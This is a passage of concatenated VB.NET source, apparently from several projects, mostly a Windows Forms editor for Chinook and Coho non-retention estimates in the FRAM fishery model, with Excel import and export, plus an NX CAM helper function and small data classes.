Boolean Dim isPureNumber As Boolean = False If attrName.Length > 0 Then Try ' NX always uses the period symbol as be decimal separator. Other locales like German ' have a different symbol for this. Thus make sure that we always use the period ' when checking if the string is a number. Dim formatInfo As NumberFormatInfo = new NumberFormatInfo( ) formatInfo.NumberDecimalSeparator = "." retValue = Convert.ToDouble(attrName, formatInfo) isPureNumber = True Catch ex As Exception '---- Enter your exception handling code here ----- 'theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, String.Format("The attribute {0} is not a numerical value.", attrName)) End Try End If GetPureValue = isPureNumber End Function '------------------------------------------------------------------------------ 'Function Name: GetBuilderFromObject 'For the given CAM object, get a corresponding builder and the part geometry set. ' 'Note: This function only supports mill geometry groups and cavity mill operations. '------------------------------------------------------------------------------ Public Function GetBuilderFromObject(ByVal obj As Tag, ByRef geomSet As CAM.Geometry) As CAM.ParamBuilder Dim builder As CAM.ParamBuilder = Nothing Dim camObject As NXObject = NXObjectManager.Get(obj) Dim WorkPart As Part = theSession.Parts.Work ' Check if the given object is a mill geometry group If TypeOf camObject Is CAM.FeatureGeometry Then Dim millGeomBuilder As CAM.MillGeomBuilder = workPart.CAMSetup.CAMGroupCollection.CreateMillGeomBuilder(camObject) builder = millGeomBuilder geomSet = millGeomBuilder.PartGeometry ElseIf TypeOf camObject Is CAM.Operation Then ' Else check if the given object is an operation Dim operationType As Integer Dim operationSubtype As Integer 'Get the type and subtype of the operation theUFSession.Obj.AskTypeAndSubtype(obj, operationType, operationSubtype) If operationSubtype = 260 Then ' This is a Cavity Milling Operation so create a Cavity Milling Builder Dim cavityBuilder As CAM.CavityMillingBuilder = workPart.CamSetup.CAMOperationCollection.CreateCavityMillingBuilder(camObject) builder = cavityBuilder geomSet = cavityBuilder.PartGeometry Else theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, String.Format("The object {0} is not a valid object for this process.", camObject.ToString())) End If Else theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, String.Format("The object {0} is not a valid object for this process.", camObject.ToString())) End If Return builder End Function End Class
Public Class PostmineLandUseBO Public Property PermitKey As Integer Public Property Comments As String Public Property PostmineLandUse As List(Of PostmineLandUseDO) End Class
Option Explicit On Public Class CuentaCorriente Public Property id As Integer Public Property fecha As Date Public Property usuario As BE.Usuario Public Property monto As Double End Class ' Operacion
Imports System.Data.OleDb Imports Microsoft.Office.Interop Public Class FVS_NonRetentionEdit Private Sub FVS_NonRetentionEdit_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load 'FormHeight = 977 FormHeight = 997 FormWidth = 1138 If FVSdatabasename.Length > 50 Then DatabaseNameLabel.Text = FVSshortname Else DatabaseNameLabel.Text = FVSdatabasename End If RecordSetNameLabel.Text = RunIDNameSelect '- Check if Form fits within Screen Dimensions If (FormHeight > My.Computer.Screen.Bounds.Height Or _ FormWidth > My.Computer.Screen.Bounds.Width) Then Me.Height = FormHeight / (DevHeight / My.Computer.Screen.Bounds.Height) Me.Width = FormWidth / (DevWidth / My.Computer.Screen.Bounds.Width) If FVS_NonRetentionEdit_ReSize = False Then Resize_Form(Me) FVS_NonRetentionEdit_ReSize = True End If End If If SpeciesName = "COHO" Then '- Hide Chinook CNR Flag/Value labels for COHO Label2.Text = "COHO CNR Estimates are Total Dead Fish" Label3.Visible = False Label4.Visible = False Label5.Visible = False Label6.Visible = False Label7.Visible = False Label8.Visible = False Label9.Visible = False Label10.Visible = False Label11.Visible = False Label12.Visible = False Label13.Visible = False Label14.Visible = False Label15.Visible = False Label16.Visible = False Label17.Visible = False Label18.Visible = False Label19.Visible = False Label20.Visible = False Label21.Visible = False Label22.Visible = False Label23.Visible = False Label24.Visible = False Label25.Visible = False ElseIf SpeciesName = "CHINOOK" Then Label2.Text = "1 = Computed CNR" Label3.Visible = True Label4.Visible = True Label5.Visible = True Label6.Visible = True Label7.Visible = True Label8.Visible = True Label9.Visible = True Label10.Visible = True Label11.Visible = True Label12.Visible = True Label13.Visible = True Label14.Visible = True Label15.Visible = True Label16.Visible = True Label17.Visible = True Label18.Visible = True Label19.Visible = True Label20.Visible = True Label21.Visible = True Label22.Visible = True Label23.Visible = True Label24.Visible = True Label25.Visible = True End If '- Fill the DataGrid with Values ... COHO and CHINOOK are different NonRetentionGrid.Columns.Clear() NonRetentionGrid.Rows.Clear() NonRetentionGrid.ColumnHeadersDefaultCellStyle.Font = New Font("Microsoft San Serif", CInt(10 / FormWidthScaler), FontStyle.Bold) NonRetentionGrid.ColumnHeadersDefaultCellStyle.Alignment = DataGridViewContentAlignment.BottomCenter NonRetentionGrid.DefaultCellStyle.Font = New Font("Microsoft San Serif", CInt(10 / FormWidthScaler), FontStyle.Bold) If SpeciesName = "COHO" Then NonRetentionGrid.Columns.Add("FisheryName", "Name") NonRetentionGrid.Columns("FisheryName").Width = 120 / FormWidthScaler NonRetentionGrid.Columns("FisheryName").ReadOnly = True NonRetentionGrid.Columns("FisheryName").DefaultCellStyle.BackColor = Color.Aquamarine NonRetentionGrid.Columns.Add("FishNum", "#") NonRetentionGrid.Columns("FishNum").Width = 40 / FormWidthScaler NonRetentionGrid.Columns("FishNum").ReadOnly = True NonRetentionGrid.Columns("FishNum").DefaultCellStyle.BackColor = Color.Aquamarine NonRetentionGrid.Columns.Add("Time1Estimate", "Jan-June") NonRetentionGrid.Columns("Time1Estimate").Width = 150 / FormWidthScaler NonRetentionGrid.Columns("Time1Estimate").DefaultCellStyle.Alignment = DataGridViewContentAlignment.BottomRight NonRetentionGrid.Columns.Add("Time2Estimate", "July") NonRetentionGrid.Columns("Time2Estimate").Width = 150 / FormWidthScaler NonRetentionGrid.Columns("Time2Estimate").DefaultCellStyle.Alignment = DataGridViewContentAlignment.BottomRight NonRetentionGrid.Columns.Add("Time3Estimate", "August") NonRetentionGrid.Columns("Time3Estimate").Width = 150 / FormWidthScaler NonRetentionGrid.Columns("Time3Estimate").DefaultCellStyle.Alignment = DataGridViewContentAlignment.BottomRight NonRetentionGrid.Columns.Add("Time4Estimate", "September") NonRetentionGrid.Columns("Time4Estimate").Width = 150 / FormWidthScaler NonRetentionGrid.Columns("Time4Estimate").DefaultCellStyle.Alignment = DataGridViewContentAlignment.BottomRight NonRetentionGrid.Columns.Add("Time5Estimate", "Oct-Dec") NonRetentionGrid.Columns("Time5Estimate").Width = 150 / FormWidthScaler NonRetentionGrid.Columns("Time5Estimate").DefaultCellStyle.Alignment = DataGridViewContentAlignment.BottomRight NonRetentionGrid.RowCount = NumFish For Fish As Integer = 1 To NumFish NonRetentionGrid.Item(0, Fish - 1).Value = FisheryName(Fish) NonRetentionGrid.Item(1, Fish - 1).Value = Fish.ToString For TStep As Integer = 1 To NumSteps If AnyBaseRate(Fish, TStep) = 1 Then NonRetentionGrid.Item(TStep + 1, Fish - 1).Value = NonRetentionInput(Fish, TStep, 1) Else NonRetentionGrid.Item(TStep + 1, Fish - 1).Value = "****" NonRetentionGrid.Item(TStep + 1, Fish - 1).Style.BackColor = Color.LightBlue End If Next Next ElseIf SpeciesName = "CHINOOK" Then NonRetentionGrid.Columns.Add("FisheryName", "Name") NonRetentionGrid.Columns("FisheryName").Width = 200 / FormWidthScaler NonRetentionGrid.Columns("FisheryName").ReadOnly = True NonRetentionGrid.Columns("FisheryName").DefaultCellStyle.BackColor = Color.Aquamarine NonRetentionGrid.Columns.Add("FishNum", "Values") NonRetentionGrid.Columns("FishNum").Width = 80 / FormWidthScaler NonRetentionGrid.Columns("FishNum").ReadOnly = True NonRetentionGrid.Columns("FishNum").DefaultCellStyle.BackColor = Color.Aquamarine NonRetentionGrid.Columns.Add("Time1Flag", "Flg-1") NonRetentionGrid.Columns("Time1Flag").Width = 50 / FormWidthScaler NonRetentionGrid.Columns("Time1Flag").DefaultCellStyle.Alignment = DataGridViewContentAlignment.BottomCenter NonRetentionGrid.Columns.Add("Time1Estimate", "Oct-Apr-1") NonRetentionGrid.Columns("Time1Estimate").Width = 100 / FormWidthScaler NonRetentionGrid.Columns("Time1Estimate").DefaultCellStyle.Alignment = DataGridViewContentAlignment.BottomRight NonRetentionGrid.Columns.Add("Time2Flag", "Flg-2") NonRetentionGrid.Columns("Time2Flag").Width = 50 / FormWidthScaler NonRetentionGrid.Columns("Time2Flag").DefaultCellStyle.Alignment = DataGridViewContentAlignment.BottomCenter NonRetentionGrid.Columns.Add("Time2Estimate", "May-June") NonRetentionGrid.Columns("Time2Estimate").Width = 100 / FormWidthScaler NonRetentionGrid.Columns("Time2Estimate").DefaultCellStyle.Alignment = DataGridViewContentAlignment.BottomRight NonRetentionGrid.Columns.Add("Time3Flag", "Flg-3") NonRetentionGrid.Columns("Time3Flag").Width = 50 / FormWidthScaler NonRetentionGrid.Columns("Time3Flag").DefaultCellStyle.Alignment = DataGridViewContentAlignment.BottomCenter NonRetentionGrid.Columns.Add("Time3Estimate", "July-Sept") NonRetentionGrid.Columns("Time3Estimate").Width = 100 / FormWidthScaler NonRetentionGrid.Columns("Time3Estimate").DefaultCellStyle.Alignment = DataGridViewContentAlignment.BottomRight NonRetentionGrid.Columns.Add("Time4Flag", "Flg-4") NonRetentionGrid.Columns("Time4Flag").Width = 50 / FormWidthScaler NonRetentionGrid.Columns("Time4Flag").DefaultCellStyle.Alignment = DataGridViewContentAlignment.BottomCenter NonRetentionGrid.Columns.Add("Time4Estimate", "Oct-Apr-2") NonRetentionGrid.Columns("Time4Estimate").Width = 100 / FormWidthScaler NonRetentionGrid.Columns("Time4Estimate").DefaultCellStyle.Alignment = DataGridViewContentAlignment.BottomRight NonRetentionGrid.RowCount = NumFish * 4 For Fish As Integer = 1 To NumFish NonRetentionGrid.Item(0, Fish * 4 - 4).Value = FisheryTitle(Fish) NonRetentionGrid.Item(1, Fish * 4 - 4).Value = "Value-1" NonRetentionGrid.Item(1, Fish * 4 - 3).Value = "Value-2" NonRetentionGrid.Item(1, Fish * 4 - 2).Value = "Value-3" NonRetentionGrid.Item(1, Fish * 4 - 1).Value = "Value-4" For TStep As Integer = 1 To NumSteps If AnyBaseRate(Fish, TStep) = 1 Then NonRetentionGrid.Item(TStep * 2, Fish * 4 - 4).Value = NonRetentionFlag(Fish, TStep) NonRetentionGrid.Item(TStep * 2, Fish * 4 - 3).Value = "*" NonRetentionGrid.Item(TStep * 2, Fish * 4 - 3).Style.BackColor = Color.LightSalmon NonRetentionGrid.Item(TStep * 2, Fish * 4 - 2).Value = "*" NonRetentionGrid.Item(TStep * 2, Fish * 4 - 2).Style.BackColor = Color.LightSalmon NonRetentionGrid.Item(TStep * 2, Fish * 4 - 1).Value = "*" NonRetentionGrid.Item(TStep * 2, Fish * 4 - 1).Style.BackColor = Color.LightSalmon NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 4).Value = NonRetentionInput(Fish, TStep, 1) NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 3).Value = NonRetentionInput(Fish, TStep, 2) NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 2).Value = NonRetentionInput(Fish, TStep, 3) NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 1).Value = NonRetentionInput(Fish, TStep, 4) Else 'NonRetentionGrid.Item(TStep * 2, Fish * 4 - 4).Value = NonRetentionFlag(Fish, 1) NonRetentionGrid.Item(TStep * 2, Fish * 4 - 4).Value = "*" NonRetentionGrid.Item(TStep * 2, Fish * 4 - 4).Style.BackColor = Color.LightBlue NonRetentionGrid.Item(TStep * 2, Fish * 4 - 3).Value = "*" NonRetentionGrid.Item(TStep * 2, Fish * 4 - 3).Style.BackColor = Color.LightBlue NonRetentionGrid.Item(TStep * 2, Fish * 4 - 2).Value = "*" NonRetentionGrid.Item(TStep * 2, Fish * 4 - 2).Style.BackColor = Color.LightBlue NonRetentionGrid.Item(TStep * 2, Fish * 4 - 1).Value = "*" NonRetentionGrid.Item(TStep * 2, Fish * 4 - 1).Style.BackColor = Color.LightBlue NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 4).Value = "****" NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 4).Style.BackColor = Color.LightBlue NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 3).Value = "****" NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 3).Style.BackColor = Color.LightBlue NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 2).Value = "****" NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 2).Style.BackColor = Color.LightBlue NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 1).Value = "****" NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 1).Style.BackColor = Color.LightBlue End If Next Next End If End Sub Private Sub NRCancelButton_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles NRCancelButton.Click Me.Close() FVS_InputMenu.Visible = True End Sub Private Sub NRDoneButton_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles NRDoneButton.Click 'Dim ChangeNonRetention As Boolean '- Put Grid Values into NonRetention Arrays 'ChangeNonRetention = False For Fish As Integer = 1 To NumFish For TStep As Integer = 1 To NumSteps If AnyBaseRate(Fish, TStep) = 0 Then If SpeciesName = "COHO" Then If NonRetentionInput(Fish, TStep, 1) <> 0 Then NonRetentionInput(Fish, TStep, 1) = 0 NonRetentionFlag(Fish, TStep) = 0 ChangeNonRetention = True End If GoTo NextTStep3 End If If NonRetentionFlag(Fish, TStep) <> 0 Then NonRetentionFlag(Fish, TStep) = 0 ChangeNonRetention = True End If If NonRetentionInput(Fish, TStep, 1) <> 0 Then NonRetentionInput(Fish, TStep, 1) = 0 ChangeNonRetention = True End If If NonRetentionInput(Fish, TStep, 2) <> 0 Then NonRetentionInput(Fish, TStep, 2) = 0 ChangeNonRetention = True End If If NonRetentionInput(Fish, TStep, 3) <> 0 Then NonRetentionInput(Fish, TStep, 3) = 0 ChangeNonRetention = True End If If NonRetentionInput(Fish, TStep, 4) <> 0 Then NonRetentionInput(Fish, TStep, 4) = 0 ChangeNonRetention = True End If GoTo NextTStep3 End If If SpeciesName = "COHO" Then If CDbl(NonRetentionGrid.Item(TStep + 1, Fish - 1).Value) <> NonRetentionInput(Fish, TStep, 1) Then NonRetentionInput(Fish, TStep, 1) = CDbl(NonRetentionGrid.Item(TStep + 1, Fish - 1).Value) ChangeNonRetention = True If NonRetentionInput(Fish, TStep, 1) = 0 Then NonRetentionFlag(Fish, TStep) = 0 Else NonRetentionFlag(Fish, TStep) = 1 End If End If ElseIf SpeciesName = "CHINOOK" Then '- Check if Flag Value Changed If CInt(NonRetentionGrid.Item(TStep * 2, Fish * 4 - 4).Value) <> NonRetentionFlag(Fish, TStep) Then NonRetentionFlag(Fish, TStep) = CInt(NonRetentionGrid.Item(TStep * 2, Fish * 4 - 4).Value) If Not (NonRetentionFlag(Fish, TStep) <= 4 And NonRetentionFlag(Fish, TStep) >= 0) Then MsgBox("ERROR - Chinook CNR Flag must be Zero, 1, 2, 3, or 4" & vbCrLf & "Check Fish,TStep=" & FisheryName(Fish) & "-" & TStep.ToString, MsgBoxStyle.OkOnly) Exit Sub End If ChangeNonRetention = True End If '- Check for CNR Input Value Changes If CDbl(NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 4).Value) <> NonRetentionInput(Fish, TStep, 1) Then NonRetentionInput(Fish, TStep, 1) = CDbl(NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 4).Value) ChangeNonRetention = True End If If CDbl(NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 3).Value) <> NonRetentionInput(Fish, TStep, 2) Then NonRetentionInput(Fish, TStep, 2) = CDbl(NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 3).Value) ChangeNonRetention = True End If If CDbl(NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 2).Value) <> NonRetentionInput(Fish, TStep, 3) Then NonRetentionInput(Fish, TStep, 3) = CDbl(NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 2).Value) ChangeNonRetention = True End If If CDbl(NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 1).Value) <> NonRetentionInput(Fish, TStep, 4) Then NonRetentionInput(Fish, TStep, 4) = CDbl(NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 1).Value) ChangeNonRetention = True End If '- Check if CNR Input Values Exist when Flag is NonZero ... If Not Zero Flag If NonRetentionFlag(Fish, TStep) <> 0 And NonRetentionInput(Fish, TStep, 1) = 0 And NonRetentionInput(Fish, TStep, 2) = 0 _ And NonRetentionInput(Fish, TStep, 3) = 0 And NonRetentionInput(Fish, TStep, 4) = 0 Then NonRetentionFlag(Fish, TStep) = 0 End If End If NextTStep3: Next Next Me.Close() FVS_InputMenu.Visible = True End Sub Private Sub MenuStrip1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles MenuStrip1.Click '- Load String for Copy/Paste Report Output Dim ClipStr As String Dim JimStr As String Dim RecNum, ColNum, Row As Integer '- The Clipboard Copy Column Names are specific for each of the Species If SpeciesName = "CHINOOK" Then '- Clipboard Copy for CHINOOK Non-Retention Screen ClipStr = "" Clipboard.Clear() ClipStr = "FisheryName" & vbTab & "Values" & vbTab & "Flg-1" & vbTab & "Oct-Apr-1" & vbTab & "Flg-2" & vbTab & "May-June" & vbTab & "Flg-3" & vbTab & "July-Sept" & vbTab & "Flg-4" & vbTab & "Oct-Apr-2" & vbCr For RecNum = 0 To NumFish - 1 For Row = 0 To 3 For ColNum = 0 To 9 If ColNum = 0 Then ClipStr = ClipStr & NonRetentionGrid.Item(ColNum, RecNum * 4 + Row).Value Else ClipStr = ClipStr & vbTab & NonRetentionGrid.Item(ColNum, RecNum * 4 + Row).Value End If Next ClipStr = ClipStr & vbCr Next Next Clipboard.SetDataObject(ClipStr) ElseIf SpeciesName = "COHO" Then '- Clipboard Copy for COHO Non-Retention Screen ClipStr = "" Clipboard.Clear() ClipStr = "Name" & vbTab & "#" & vbTab & "Jan-June" & vbTab & "July" & vbTab & "August" & vbTab & "Septmbr" & vbTab & "Oct-Dec" & vbCr For RecNum = 0 To NumFish - 1 For ColNum = 0 To 6 JimStr = NonRetentionGrid.Item(ColNum, RecNum).Value If ColNum = 0 Then ClipStr = ClipStr & NonRetentionGrid.Item(ColNum, RecNum).Value Else ClipStr = ClipStr & vbTab & NonRetentionGrid.Item(ColNum, RecNum).Value End If Next ClipStr = ClipStr & vbCr Next Clipboard.SetDataObject(ClipStr) End If End Sub Private Sub ZeroNRButton_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles ZeroNRButton.Click If SpeciesName = "COHO" Then For Fish As Integer = 1 To NumFish For TStep As Integer = 1 To NumSteps If AnyBaseRate(Fish, TStep) = 1 Then NonRetentionGrid.Item(TStep + 1, Fish - 1).Value = 0 End If Next Next ElseIf SpeciesName = "CHINOOK" Then For Fish As Integer = 1 To NumFish For TStep As Integer = 1 To NumSteps If AnyBaseRate(Fish, TStep) = 1 Then NonRetentionGrid.Item(TStep * 2, Fish * 4 - 4).Value = 0 NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 4).Value = 0 NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 3).Value = 0 NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 2).Value = 0 NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 1).Value = 0 End If Next Next End If End Sub Private Sub LoadNRButton_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles LoadNRButton.Click Dim OpenFileDialog1 As New OpenFileDialog() Dim FRAMCatchSpreadSheet, FRAMCatchSpreadSheetPath As String '- Test if Excel was Running ExcelWasNotRunning = True Try xlApp = System.Runtime.InteropServices.Marshal.GetActiveObject("Excel.Application") ExcelWasNotRunning = False Catch ex As Exception xlApp = New Microsoft.Office.Interop.Excel.Application() End Try OpenFileDialog1.Filter = "FRAM-Catch Spreadsheets (*.xls)|*.xls|All files (*.*)|*.*" OpenFileDialog1.FilterIndex = 1 OpenFileDialog1.RestoreDirectory = True If OpenFileDialog1.ShowDialog() = System.Windows.Forms.DialogResult.OK Then FRAMCatchSpreadSheet = OpenFileDialog1.FileName FRAMCatchSpreadSheetPath = My.Computer.FileSystem.GetFileInfo(FRAMCatchSpreadSheet).DirectoryName Else Exit Sub End If '- Test if Excel was Running ExcelWasNotRunning = True Try xlApp = System.Runtime.InteropServices.Marshal.GetActiveObject("Excel.Application") ExcelWasNotRunning = False Catch ex As Exception xlApp = New Microsoft.Office.Interop.Excel.Application() End Try '- Test if FRAM-Template Workbook is Open WorkBookWasNotOpen = True Dim wbName As String wbName = My.Computer.FileSystem.GetFileInfo(FRAMCatchSpreadSheet).Name For Each xlWorkBook In xlApp.Workbooks If xlWorkBook.Name = wbName Then xlWorkBook.Activate() WorkBookWasNotOpen = False GoTo SkipWBOpen End If Next xlWorkBook = xlApp.Workbooks.Open(FRAMCatchSpreadSheet) xlApp.WindowState = Excel.XlWindowState.xlMinimized SkipWBOpen: xlApp.Application.DisplayAlerts = False xlApp.Visible = False xlApp.WindowState = Excel.XlWindowState.xlMinimized '- Find WorkSheets with FRAM Catch numbers For Each xlWorkSheet In xlWorkBook.Worksheets If xlWorkSheet.Name.Length > 7 Then If xlWorkSheet.Name = "FRAM_CNR" Then Exit For End If Next '- Check if DataBase contains FRAMInput Worksheet If xlWorkSheet.Name <> "FRAM_CNR" Then MsgBox("Can't Find 'FRAM_CNR' WorkSheet in your Spreadsheet Selection" & vbCrLf & _ "Please Choose appropriate Spreadsheet with FRAM CNR WorkSheet!", MsgBoxStyle.OkOnly) GoTo CloseExcelWorkBook End If '- Check first Fishery Name for correct Species Spreadsheet Dim testname As String testname = xlWorkSheet.Range("A4").Value If SpeciesName = "CHINOOK" Then If Trim(xlWorkSheet.Range("A4").Value) <> "SE Alaska Troll" Then MsgBox("Can't Find 'SE Alaska Troll' as first Fishery your Spreadsheet Selection" & vbCrLf & _ "Please Choose appropriate CHINOOK Spreadsheet with FRAM CNR WorkSheet!", MsgBoxStyle.OkOnly) GoTo CloseExcelWorkBook End If ElseIf SpeciesName = "COHO" Then If xlWorkSheet.Range("A4").Value <> "No Cal Trm" Then MsgBox("Can't Find 'No Cal Trm' as first Fishery your Spreadsheet Selection" & vbCrLf & _ "Please Choose appropriate COHO Spreadsheet with FRAM CNR WorkSheet!", MsgBoxStyle.OkOnly) GoTo CloseExcelWorkBook End If End If '- Load WorkSheet Catch into Quota Array (Change Flag) Me.Cursor = Cursors.WaitCursor Dim CellAddress, NewAddress As String Dim FlagAddress As String If SpeciesName = "CHINOOK" Then For Fish As Integer = 1 To NumFish For TStep As Integer = 1 To NumSteps CellAddress = "" FlagAddress = "" If AnyBaseRate(Fish, TStep) = 0 Then GoTo NextNRVal Select Case TStep Case 1 FlagAddress = "C" & CStr(Fish * 4) CellAddress = "D" Case 2 FlagAddress = "E" & CStr(Fish * 4) CellAddress = "F" Case 3 FlagAddress = "G" & CStr(Fish * 4) CellAddress = "H" Case 4 FlagAddress = "I" & CStr(Fish * 4) CellAddress = "J" Case 5 FlagAddress = "K" & CStr(Fish * 4) CellAddress = "L" End Select If IsNumeric(xlWorkSheet.Range(FlagAddress).Value) Then If CInt(xlWorkSheet.Range(FlagAddress).Value) < 0 Or CInt(xlWorkSheet.Range(FlagAddress).Value) > 4 Then GoTo NextNRVal If IsNumeric(xlWorkSheet.Range(FlagAddress).Value) Then NonRetentionGrid.Item(TStep * 2, Fish * 4 - 4).Value = xlWorkSheet.Range(FlagAddress).Value NewAddress = CellAddress & CStr(Fish * 4) NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 4).Value = xlWorkSheet.Range(NewAddress).Value NewAddress = CellAddress & CStr(Fish * 4 + 1) NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 3).Value = xlWorkSheet.Range(NewAddress).Value NewAddress = CellAddress & CStr(Fish * 4 + 2) NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 2).Value = xlWorkSheet.Range(NewAddress).Value NewAddress = CellAddress & CStr(Fish * 4 + 3) NonRetentionGrid.Item(TStep * 2 + 1, Fish * 4 - 1).Value = xlWorkSheet.Range(NewAddress).Value End If End If NextNRVal: Next Next ElseIf SpeciesName = "COHO" Then For Fish As Integer = 1 To NumFish For TStep As Integer = 1 To NumSteps CellAddress = "" FlagAddress = "" If AnyBaseRate(Fish, TStep) = 0 Then GoTo NextNRVal2 Select Case TStep Case 1 CellAddress = "C" & CStr(Fish + 3) Case 2 CellAddress = "D" & CStr(Fish + 3) Case 3 CellAddress = "E" & CStr(Fish + 3) Case 4 CellAddress = "F" & CStr(Fish + 3) Case 5 CellAddress = "G" & CStr(Fish + 3) End Select If IsNumeric(xlWorkSheet.Range(CellAddress).Value) Then NonRetentionGrid.Item(TStep + 1, Fish - 1).Value = xlWorkSheet.Range(CellAddress).Value End If NextNRVal2: Next Next End If CloseExcelWorkBook: '- Done with FRAM-Template WorkBook .. Close and release object xlApp.Application.DisplayAlerts = False xlWorkBook.Save() If WorkBookWasNotOpen = True Then xlWorkBook.Close() End If If ExcelWasNotRunning = True Then xlApp.Application.Quit() xlApp.Quit() Else xlApp.Visible = True xlApp.WindowState = Excel.XlWindowState.xlMinimized End If xlApp.Application.DisplayAlerts = True xlApp = Nothing Me.Cursor = Cursors.Default Exit Sub End Sub Private Sub FillNRSSButton_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles FillNRSSButton.Click Dim OpenFileDialog1 As New OpenFileDialog() Dim FRAMCatchSpreadSheet, FRAMCatchSpreadSheetPath As String '- Test if Excel was Running ExcelWasNotRunning = True Try xlApp = System.Runtime.InteropServices.Marshal.GetActiveObject("Excel.Application") ExcelWasNotRunning = False Catch ex As Exception xlApp = New Microsoft.Office.Interop.Excel.Application() End Try OpenFileDialog1.Filter = "FRAM-Catch Spreadsheets (*.xls)|*.xls|All files (*.*)|*.*" OpenFileDialog1.FilterIndex = 1 OpenFileDialog1.RestoreDirectory = True If OpenFileDialog1.ShowDialog() = System.Windows.Forms.DialogResult.OK Then FRAMCatchSpreadSheet = OpenFileDialog1.FileName FRAMCatchSpreadSheetPath = My.Computer.FileSystem.GetFileInfo(FRAMCatchSpreadSheet).DirectoryName Else Exit Sub End If '- Test if Excel was Running ExcelWasNotRunning = True Try xlApp = System.Runtime.InteropServices.Marshal.GetActiveObject("Excel.Application") ExcelWasNotRunning = False Catch ex As Exception xlApp = New Microsoft.Office.Interop.Excel.Application() End Try '- Test if FRAM-Template Workbook is Open WorkBookWasNotOpen = True Dim wbName As String wbName = My.Computer.FileSystem.GetFileInfo(FRAMCatchSpreadSheet).Name For Each xlWorkBook In xlApp.Workbooks If xlWorkBook.Name = wbName Then xlWorkBook.Activate() WorkBookWasNotOpen = False GoTo SkipWBOpen End If Next xlWorkBook = xlApp.Workbooks.Open(FRAMCatchSpreadSheet) xlApp.WindowState = Excel.XlWindowState.xlMinimized SkipWBOpen: xlApp.Application.DisplayAlerts = False xlApp.Visible = False xlApp.WindowState = Excel.XlWindowState.xlMinimized '- Find WorkSheets with FRAM Catch numbers For Each xlWorkSheet In xlWorkBook.Worksheets If xlWorkSheet.Name.Length > 7 Then If xlWorkSheet.Name = "FRAM_CNR" Then Exit For End If Next '- Check if DataBase contains FRAMInput Worksheet If xlWorkSheet.Name <> "FRAM_CNR" Then MsgBox("Can't Find 'FRAM_CNR' WorkSheet in your Spreadsheet Selection" & vbCrLf & _ "Please Choose appropriate Spreadsheet with FRAM CNR WorkSheet!", MsgBoxStyle.OkOnly) GoTo CloseExcelWorkBook End If '- Check first Fishery Name for correct Species Spreadsheet Dim testname As String testname = xlWorkSheet.Range("A4").Value If SpeciesName = "CHINOOK" Then If Trim(xlWorkSheet.Range("A4").Value) <> "SE Alaska Troll" Then MsgBox("Can't Find 'SE Alaska Troll' as first Fishery your Spreadsheet Selection" & vbCrLf & _ "Please Choose appropriate CHINOOK Spreadsheet with FRAM CNR WorkSheet!", MsgBoxStyle.OkOnly) GoTo CloseExcelWorkBook End If ElseIf SpeciesName = "COHO" Then If xlWorkSheet.Range("A4").Value <> "No Cal Trm" Then MsgBox("Can't Find 'No Cal Trm' as first Fishery your Spreadsheet Selection" & vbCrLf & _ "Please Choose appropriate COHO Spreadsheet with FRAM CNR WorkSheet!", MsgBoxStyle.OkOnly) GoTo CloseExcelWorkBook End If End If '- Load WorkSheet Catch into Quota Array (Change Flag) Me.Cursor = Cursors.WaitCursor Dim CellAddress, NewAddress As String Dim FlagAddress As String If SpeciesName = "CHINOOK" Then For Fish As Integer = 1 To NumFish For TStep As Integer = 1 To NumSteps CellAddress = "" FlagAddress = "" Select Case TStep Case 1 FlagAddress = "C" CellAddress = "D" Case 2 FlagAddress = "E" CellAddress = "F" Case 3 FlagAddress = "G" CellAddress = "H" Case 4 FlagAddress = "I" CellAddress = "J" Case 5 FlagAddress = "K" CellAddress = "L" End Select If AnyBaseRate(Fish, TStep) = 0 Then NewAddress = FlagAddress & CStr(Fish * 4) xlWorkSheet.Range(NewAddress).Value = "*" xlWorkSheet.Range(NewAddress).Interior.Color = RGB(148, 150, 232) NewAddress = CellAddress & CStr(Fish * 4) xlWorkSheet.Range(NewAddress).Interior.Color = RGB(148, 150, 232) NewAddress = CellAddress & CStr(Fish * 4 + 1) xlWorkSheet.Range(NewAddress).Interior.Color = RGB(148, 150, 232) NewAddress = CellAddress & CStr(Fish * 4 + 2) xlWorkSheet.Range(NewAddress).Interior.Color = RGB(148, 150, 232) NewAddress = CellAddress & CStr(Fish * 4 + 3) xlWorkSheet.Range(NewAddress).Interior.Color = RGB(148, 150, 232) GoTo NextNRVal End If NewAddress = FlagAddress & CStr(Fish * 4) 